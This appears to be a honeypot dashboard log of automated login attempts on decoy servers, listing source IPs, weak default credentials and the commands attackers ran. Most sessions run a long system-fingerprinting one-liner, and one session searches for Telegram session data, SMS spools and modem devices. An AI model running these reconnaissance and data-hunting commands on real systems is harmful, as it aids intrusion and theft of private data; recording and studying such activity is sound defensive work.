$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 windmill_root_8 (142.93.129.146) β€” Amsterdam, Netherlands Β· 5 sessions Β· 20 cmds
2026-03-04 12:06 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 stroopwafel_root_7 (188.166.28.22) β€” Amsterdam, Netherlands Β· 12 sessions Β· 48 cmds
2026-03-04 11:21 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 12x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—12
$ uname -s -v -n -m 2 > /dev/null Γ—12
$ uname -m 2 > /dev/null Γ—12
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—12
🎭 star_root_4 (107.170.69.246) β€” Secaucus, United States Β· 10 sessions Β· 40 cmds
2026-03-04 09:02 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 10x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—10
$ uname -s -v -n -m 2 > /dev/null Γ—10
$ uname -m 2 > /dev/null Γ—10
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—10
🎭 crumpet_sol_2 (138.68.149.66) β€” Slough, United Kingdom Β· 16 sessions Β· 16 cmds
2026-03-04 10:56 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 16x across 16 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 hanbok_root_9 (119.192.36.34) β€” Seoul, South Korea Β· 4 sessions Β· 16 cmds
2026-03-04 09:20 EST Β· as root/1234, root/admin, root/toor
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 liberty_root_18 (138.197.8.13) β€” Clifton, United States Β· 4 sessions Β· 16 cmds
2026-03-04 11:07 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 scone_root_16 (178.62.39.15) β€” Slough, United Kingdom Β· 7 sessions Β· 28 cmds
2026-03-04 11:00 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 7x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 chai_root_12 (157.245.105.40) β€” Bengaluru, India Β· 5 sessions Β· 20 cmds
2026-03-04 10:40 EST Β· as admin/admin, root/admin, root/admin123
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 chai_root_13 (139.59.37.34) β€” Bengaluru, India Β· 3 sessions Β· 12 cmds
2026-03-04 10:39 EST Β· as admin/password, root/12345678, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 crumpet_root_11 (46.101.90.220) β€” Slough, United Kingdom Β· 3 sessions Β· 12 cmds
2026-03-04 10:34 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 scone_root_2 (139.59.161.109) β€” Slough, United Kingdom Β· 15 sessions Β· 60 cmds
2026-03-04 09:00 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 15x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—15
$ uname -s -v -n -m 2 > /dev/null Γ—15
$ uname -m 2 > /dev/null Γ—15
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—15
🎭 eagle_root_20 (216.51.185.180) β€” Moulton, United States Β· 1 session Β· 9 cmds
2026-03-04 10:37 EST Β· as root/admin
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 eagle_root_4 (104.248.56.103) β€” North Bergen, United States Β· 14 sessions Β· 56 cmds
2026-03-04 09:07 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 14x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—14
$ uname -s -v -n -m 2 > /dev/null Γ—14
$ uname -m 2 > /dev/null Γ—14
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—14
🎭 stein_root_12 (104.248.21.68) β€” Frankfurt am Main, Germany Β· 8 sessions Β· 32 cmds
2026-03-04 08:22 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 yankee_root_18 (137.184.11.157) β€” Santa Clara, United States Β· 2 sessions Β· 8 cmds
2026-03-04 09:02 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 stroopwafel_root_8 (178.128.242.229) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-03-04 08:46 EST Β· as root/1234
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 spice_root_11 (68.183.83.138) β€” Bengaluru, India Β· 4 sessions Β· 16 cmds
2026-03-04 08:39 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 strudel_root_14 (207.154.201.245) β€” Frankfurt am Main, Germany Β· 5 sessions Β· 20 cmds
2026-03-04 08:37 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
